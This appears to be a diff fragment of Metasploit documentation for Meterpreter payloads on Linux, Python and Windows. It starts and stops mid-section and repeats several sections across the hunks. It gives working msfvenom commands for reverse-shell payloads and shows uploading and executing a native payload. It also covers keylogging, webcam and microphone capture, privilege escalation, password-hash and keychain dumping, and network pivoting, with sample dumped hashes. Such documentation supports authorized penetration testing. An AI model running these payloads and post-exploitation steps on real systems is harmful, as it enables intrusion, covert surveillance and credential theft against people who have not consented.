[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash
|
||||
[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash
|
||||
[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Note that in order to collect Linux hashes, Meterpreter needs to run as root.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of the
|
||||
method.
|
||||
|
||||
## Routing Through the portfwd Commands
|
||||
|
||||
The ```portfwd``` command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason,
|
||||
then you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182
|
||||
[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(http_version) > run
|
||||
|
||||
[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(http_version) >
|
||||
```
|
||||
|
||||
## Routing Through msfconsole
|
||||
|
||||
The ```route``` command from the msf prompt can also be used like portfwd, but it also allows you
|
||||
to reach out to other networks that the compromised host is connected to.
|
||||
|
||||
To use ```route```, first look at the ipconfig/ifconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to
|
||||
allow other third-party tools to do the same.
|
||||
@@ -0,0 +1,358 @@
|
||||
python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a
|
||||
unique payload to the Metasploit Framework, because it is cross-platform. And since Python is
|
||||
a very popular programming language, some operating systems such as Ubuntu even support it
|
||||
by default.
|
||||
|
||||
When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also
|
||||
means you don't need to worry about which target/platform to select, the payload should work
|
||||
for all of them.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Python Meterpreter is suitable for any systems that support Python. Some operating
|
||||
systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python
|
||||
Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+.
|
||||
|
||||
## Deploying python/meterpreter/reverse_tcp
|
||||
|
||||
python/meterpreter/reverse_tcp is typically used in two different ways.
|
||||
|
||||
First, it can be used with an exploit as long as the Python platform is supported. This sort
|
||||
of information can usually be found when you use the ```info``` command like this:
|
||||
|
||||
```
|
||||
msf exploit(ms14_064_packager_python) > info
|
||||
|
||||
Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
|
||||
Module: exploit/windows/fileformat/ms14_064_packager_python
|
||||
Platform: Python
|
||||
Privileged: No
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2014-11-12
|
||||
|
||||
.... more info here ...
|
||||
```
|
||||
|
||||
Or, you can check the exploit's target list by doing ```show targets```, there might be Python
|
||||
on the list.
|
||||
|
||||
If your exploit supports Python, here is how to load it:
|
||||
|
||||
1. In msfconsole, select the exploit.
|
||||
2. Configure the options for that exploit.
|
||||
3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp```
|
||||
4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
5. Do ```exploit```. If the exploit is successful, it should execute that payload.
|
||||
|
||||
Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would
|
||||
want to do this with msfvenom, like this:
|
||||
|
||||
```
|
||||
./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter
|
||||
has less commands, but here's a list of all the common ones you might need:
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command tells you the current working directory. For example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd /Users/sinn3r/Desktop
|
||||
meterpreter > pwd
|
||||
/Users/sinn3r/Desktop
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat /tmp/data.txt
|
||||
Hello World!
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop
|
||||
[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop
|
||||
[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you to download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt
|
||||
[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example,
|
||||
this shows how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 2 results...
|
||||
.\pass.txt (13 bytes)
|
||||
./creds\data.txt (83 bytes)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the command allows you to search recursively.
|
||||
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following examples uses the command to create a text file:
|
||||
|
||||
```
|
||||
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
|
||||
Process 73642 created.
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 74513 created.
|
||||
Channel 2 created.
|
||||
sh-3.2#
|
||||
```
|
||||
|
||||
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
|
||||
|
||||
**sysinfo**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
|
||||
|
||||
* Computer name
|
||||
* OS name
|
||||
* Architecture
|
||||
* Meterpreter type
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterprter is you have access to a variety of post modules that
|
||||
"shell" sessions might not have. Post modules provide you with more capabilities to collect
|
||||
data from the remote machine automatically. For example, stealing credentials from the system
|
||||
or third-party applications, or modify settings, etc.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following
|
||||
is an example of collecting OS X keychain information using the enum_keychain post module:
|
||||
|
||||
```
|
||||
meterpreter > run post/osx/gather/enum_keychain
|
||||
|
||||
[*] The following keychains for root were found:
|
||||
"/Users/sinn3r/Library/Keychains/login.keychain"
|
||||
"/Library/Keychains/System.keychain"
|
||||
[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter allows you to control or retrieve information about the host. For
|
||||
example, this allows you to get the current privilege our payload is running as:
|
||||
|
||||
```
|
||||
>> client.sys.config.getuid
|
||||
=> "root"
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method
|
||||
to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can also use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To review the source of the method, you can use the #source_location method. For example, say we
|
||||
want to see the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second is the line number of
|
||||
the method.
|
||||
|
||||
**Railgun**
|
||||
|
||||
If you are familiar with using the post exploitation API for Windows, you probably know about
|
||||
Railgun. Unfortunately, Railgun is not available in Python Meterpreters.
|
||||
|
||||
## Switching to a Native Meterpreter
|
||||
|
||||
The Python Meterpreter currently does not quite have the same strength as a native Meterpreter,
|
||||
therefore there are times you will want to migrate to a native one to expose yourself with more
|
||||
features.
|
||||
|
||||
There are many ways to migrate to a native Meterpreter, some common approaches:
|
||||
|
||||
**Example 1: Upload and Execute**
|
||||
|
||||
Step 1: Produce a native Meterpreter, such as:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe
|
||||
```
|
||||
|
||||
Step 2: Start another handler for the native payload:
|
||||
|
||||
```
|
||||
./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run"
|
||||
```
|
||||
|
||||
Step 3: Upload the native via the Python Meterpreter session:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Step 4: Execute the native payload:
|
||||
|
||||
```
|
||||
meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe
|
||||
Process 2764 created.
|
||||
```
|
||||
|
||||
And then your other handler (for the native payload) should receive that session:
|
||||
|
||||
```
|
||||
[*] Starting the payload handler...
|
||||
[*] Sending stage (957999 bytes) to 192.168.1.220
|
||||
[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**Example 2: Using exploit/multi/script/web_delivery**
|
||||
|
||||
Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery
|
||||
module. To learn how, please read the module documentation for that module.
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you
|
||||
cannot talk to the SMB service remotely on the compromised host because it is firewalled, then
|
||||
you can use portfwd to establish that tunnel:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220
|
||||
[*] Local TCP relay created: :445 <-> 192.168.1.220:445
|
||||
meterpreter > portfwd
|
||||
|
||||
Active Port Forwards
|
||||
====================
|
||||
|
||||
Index Local Remote Direction
|
||||
----- ----- ------ ---------
|
||||
1 0.0.0.0:445 192.168.1.220:445 Forward
|
||||
```
|
||||
|
||||
And then talk to it like it's a local service:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
@@ -0,0 +1,509 @@
|
||||
windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It
|
||||
is capable of doing things like remotely control the file system, sniff, keylog, hashdump,
|
||||
pivoting, run extensions, etc. But the real strength of this is the way it talks to the
|
||||
attacker.
|
||||
|
||||
Instead of a stream-based communication model (tied to a specific TCP session), the stager
|
||||
provides a packet-based transaction system instead. You know, kind of like a botnet that we
|
||||
see today. The use of HTTPS also makes the payload communication a little bit harder to detect.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This Meterpreter payload is suitable for the following environments:
|
||||
|
||||
* Windows x64
|
||||
* Windows x86
|
||||
|
||||
## Deploying windows/meterpreter/reverse_https
|
||||
|
||||
windows/meterpreter/revese_https can be used in two different ways.
|
||||
|
||||
**As an exploit payload**
|
||||
|
||||
To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can
|
||||
use the ```info``` command on the exploit you want to use:
|
||||
|
||||
```
|
||||
msf exploit(ms08_067_netapi) > info
|
||||
|
||||
Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
|
||||
Module: exploit/windows/smb/ms08_067_netapi
|
||||
Platform: Windows
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Great
|
||||
Disclosed: 2008-10-28
|
||||
|
||||
...
|
||||
```
|
||||
|
||||
If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the
|
||||
payload.
|
||||
|
||||
Depending on the module, sometimes you have to select a specific target by first checking the
|
||||
target list, like the following:
|
||||
|
||||
```
|
||||
show targets
|
||||
```
|
||||
|
||||
If there is a Windows target, use that:
|
||||
|
||||
```
|
||||
set TARGET [index]
|
||||
```
|
||||
|
||||
To actually set the payload:
|
||||
|
||||
1. In msfconsole, load the exploit.
|
||||
2. Do: ```set PAYLOAD windows/meterpreter/reverse_https```
|
||||
3. Set the ```LHOST``` OPTION WHICH, which [IP the same the payload connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit).
|
||||
4. Run th exploit
|
||||
|
||||
**As a standalone**
|
||||
|
||||
To generate windows/meterpreter/reverse_https, you can do this from msfvenom:
|
||||
|
||||
```
|
||||
./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe
|
||||
```
|
||||
|
||||
## Important Basic Commands
|
||||
|
||||
**pwd command**
|
||||
|
||||
The ```pwd``` command allows you to see the current directory you're in on the remote target.
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > pwd
|
||||
C:\Users\sinn3r\Desktop
|
||||
```
|
||||
|
||||
**cd command**
|
||||
|
||||
The ```cd``` command allows you to change directories. Example:
|
||||
|
||||
```
|
||||
meterpreter > cd C:\\
|
||||
```
|
||||
|
||||
**cat command**
|
||||
|
||||
The ```cat``` command allows you to see the content of a file:
|
||||
|
||||
```
|
||||
meterpreter > cat data.txt
|
||||
Hello World
|
||||
```
|
||||
|
||||
**upload command**
|
||||
|
||||
The ```upload``` command allows you to upload a file to the remote target. For example:
|
||||
|
||||
```
|
||||
meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop
|
||||
[*] uploading : /tmp/payload.exe -> C:\Users\sinn3r\Desktop
|
||||
[*] uploaded : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
The ```-r``` option for the command also allows you to upload recursively.
|
||||
|
||||
**download command**
|
||||
|
||||
The ```download``` command allows you download a file from the remote target to your machine.
|
||||
For example:
|
||||
|
||||
```
|
||||
meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt
|
||||
[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
[*] download : C:\Users\sinn3r\Desktop\password.txt -> password.txt
|
||||
```
|
||||
|
||||
**search command**
|
||||
|
||||
The ```search``` command allows you to find files on the remote file system. For example, this
|
||||
demonstrates how to find all text files in the current directory:
|
||||
|
||||
```
|
||||
meterpreter > search -d . -f *.txt
|
||||
Found 1 result...
|
||||
.\password.txt (11 bytes)
|
||||
```
|
||||
|
||||
Note that without the ```-d``` option, the command will attempt to search in all drives.
|
||||
|
||||
The ```-r``` option for the commands allows you to search recursively.
|
||||
|
||||
**ifconfig/ipconfig command**
|
||||
|
||||
The ```ifconfig``` command displays the network interfaces on the remote machine:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
|
||||
Interface 1
|
||||
============
|
||||
Name : Software Loopback Interface 1
|
||||
Hardware MAC : 00:00:00:00:00:00
|
||||
MTU : 4294967295
|
||||
IPv4 Address : 127.0.0.1
|
||||
IPv4 Netmask : 255.0.0.0
|
||||
IPv6 Address : ::1
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
|
||||
|
||||
|
||||
Interface 2
|
||||
============
|
||||
Name : Intel(R) PRO/1000 MT Network Connection
|
||||
Hardware MAC : 00:0c:29:eb:33:d9
|
||||
MTU : 1500
|
||||
IPv4 Address : 172.16.23.185
|
||||
IPv4 Netmask : 255.255.255.0
|
||||
IPv6 Address : fe80::5911:c25:bd50:5a6d
|
||||
IPv6 Netmask : ffff:ffff:ffff:ffff::
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
The command ```ipconfig``` is an alias for ```ifconfig```.
|
||||
|
||||
**getuid command**
|
||||
|
||||
The ```getuid``` command shows you the current user that the payload is running as:
|
||||
|
||||
```
|
||||
meterpreter > getuid
|
||||
Server username: WIN-6NH0Q8CJQVM\sinn3r
|
||||
```
|
||||
|
||||
**execute command**
|
||||
|
||||
The ```execute``` command allows you to execute a command or file on the remote machine.
|
||||
|
||||
The following example will spawn a calculator:
|
||||
|
||||
```
|
||||
meterpreter > execute -f calc.exe
|
||||
Process 2020 created.
|
||||
```
|
||||
|
||||
**ps command**
|
||||
|
||||
The ```ps``` command lists the running processes on the remote machine.
|
||||
|
||||
**shell command**
|
||||
|
||||
The ```shell``` command allows you to interact with the remote machine's command prompt. Example:
|
||||
|
||||
```
|
||||
meterpreter > shell
|
||||
Process 2872 created.
|
||||
Channel 1 created.
|
||||
Microsoft Windows [Version 6.1.7601]
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\sinn3r\Desktop>
|
||||
```
|
||||
|
||||
**sysinfo command**
|
||||
|
||||
The ```sysinfo``` command shows you basic information about the remote machine. Example:
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-6NH0Q8CJQVM
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/win32
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan command**
|
||||
|
||||
The ```keyscan_start``` command starts the keylogging feature on the remote machine.
|
||||
|
||||
**keyscan_dump command**
|
||||
|
||||
The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command
|
||||
before using this. Example:
|
||||
|
||||
```
|
||||
meterpreter > keyscan_start
|
||||
Starting the keystroke sniffer...
|
||||
meterpreter > keyscan_dump
|
||||
Dumping captured keystrokes...
|
||||
hello world!
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
**keyscan_stop command**
|
||||
|
||||
The ```keyscan_stop``` command stops the keylogger.
|
||||
|
||||
**screenshot command**
|
||||
|
||||
The ```screenshot``` command takes a screenshot of the target machine.
|
||||
|
||||
**webcan_list command**
|
||||
|
||||
The ```webcam_list``` commands shows you a list of webcams that you can control. You'll
|
||||
probably want to use this first before using any other webcam commands.
|
||||
|
||||
**webcam_snap command**
|
||||
|
||||
The ```webcam_snap``` commands uses the selected webcam to take a picture.
|
||||
|
||||
**webcam_stream command**
|
||||
|
||||
The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create
|
||||
the streaming effect. There is no sound.
|
||||
|
||||
**record_mic command**
|
||||
|
||||
The ```record_mic``` command captures audio on the remote machine.
|
||||
|
||||
**getsystem command**
|
||||
|
||||
The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of
|
||||
these techniques:
|
||||
|
||||
* Named pipe impersonation (in memory)
|
||||
* Named pipe impersonation (dropper)
|
||||
* Token duplication (in memory)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
```
|
||||
|
||||
**hashdump command**
|
||||
|
||||
The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges.
|
||||
For sxample:
|
||||
|
||||
```
|
||||
meterpreter > hashdump
|
||||
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4:::
|
||||
root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d:::
|
||||
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2:::
|
||||
```
|
||||
|
||||
**detach command**
|
||||
|
||||
The ```detach``` command allows you to temporarily disconnect the Meterpreter session without
|
||||
actually losing it, as the following example demonstrates:
|
||||
|
||||
```
|
||||
meterpreter > detach
|
||||
|
||||
[*] 172.16.23.185 - Meterpreter session 1 closed. Reason: User exit
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.16.23.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session...
|
||||
"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/"
|
||||
[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
By default, the Meterpreter session will continue to reach back to you for five minutes. If it
|
||||
is unable to connect back after that, it will terminate. You can extend this by setting the
|
||||
```SessionCommunicationTimeout``` option to your choice. Setting this option to 0 ensures that
|
||||
your session will reattach whenever the target comes back online, as long as the payload handler
|
||||
is running.
|
||||
|
||||
|
||||
## Using a Post Module
|
||||
|
||||
One of the best things about Meterpreter is you have access to a variety of post exploitation
|
||||
modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to
|
||||
collect data from the remote machine automatically. For example, you can steal passwords
|
||||
from popular applications and enumerate or modify system settings.
|
||||
|
||||
To use a post module from the Meterpreter prompt, simply use the ```run``` command:
|
||||
|
||||
```
|
||||
meterpreter > run post/windows/gather/checkvm
|
||||
|
||||
[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine .....
|
||||
[*] This is a VMware Virtual Machine
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load
|
||||
the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the
|
||||
documentation.
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
```
|
||||
meterpreter > irb
|
||||
[*] Starting IRB shell
|
||||
[*] The 'client' variable holds the meterpreter client
|
||||
|
||||
>>
|
||||
```
|
||||
|
||||
**The client object**
|
||||
|
||||
The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as:
|
||||
|
||||
```ruby
|
||||
>> client.sys.config.getuid
|
||||
```
|
||||
|
||||
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
|
||||
|
||||
```
|
||||
>> client.inspect
|
||||
```
|
||||
|
||||
You can use the #methods method to see what methods you can use:
|
||||
|
||||
```
|
||||
>> client.methods
|
||||
```
|
||||
|
||||
To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method:
|
||||
|
||||
```
|
||||
>> client.sys.config.method(:getuid).source_location
|
||||
=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]
|
||||
```
|
||||
|
||||
The first element of the array is the location of the file. The second element is the line number of the method.
|
||||
|
||||
## Using Railgun
|
||||
|
||||
Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a MessageBox on the target machine, do:
|
||||
|
||||
```
|
||||
>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK")
|
||||
=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1}
|
||||
```
|
||||
|
||||
To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation).
|
||||
|
||||
|
||||
## Routing through the portfwd command
|
||||
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, SMB is a
|
||||
commonly targeted protocol, but by default it is blocked by a firewall. To being able to talk to
|
||||
it, we can portfwd via an active session:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add -l 445 -p 445 -r 172.16.23.185
|
||||
[*] Local TCP relay created: :445 <-> 172.16.23.185:445
|
||||
```
|
||||
|
||||
And then talk to the remote SMB service like it's local:
|
||||
|
||||
```
|
||||
msf auxiliary(smb_version) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf auxiliary(smb_version) > run
|
||||
|
||||
[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) (name:WIN-6NH0Q8CJQVM) (domain:WORKGROUP)
|
||||
```
|
||||
|
||||
## Routing through msfconsole
|
||||
|
||||
The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also
|
||||
allows you to connect to hosts on a different network through the compromised machine.
|
||||
|
||||
To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point:
|
||||
|
||||
```
|
||||
meterpreter > ipconfig
|
||||
```
|
||||
|
||||
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt,
|
||||
and establish that route:
|
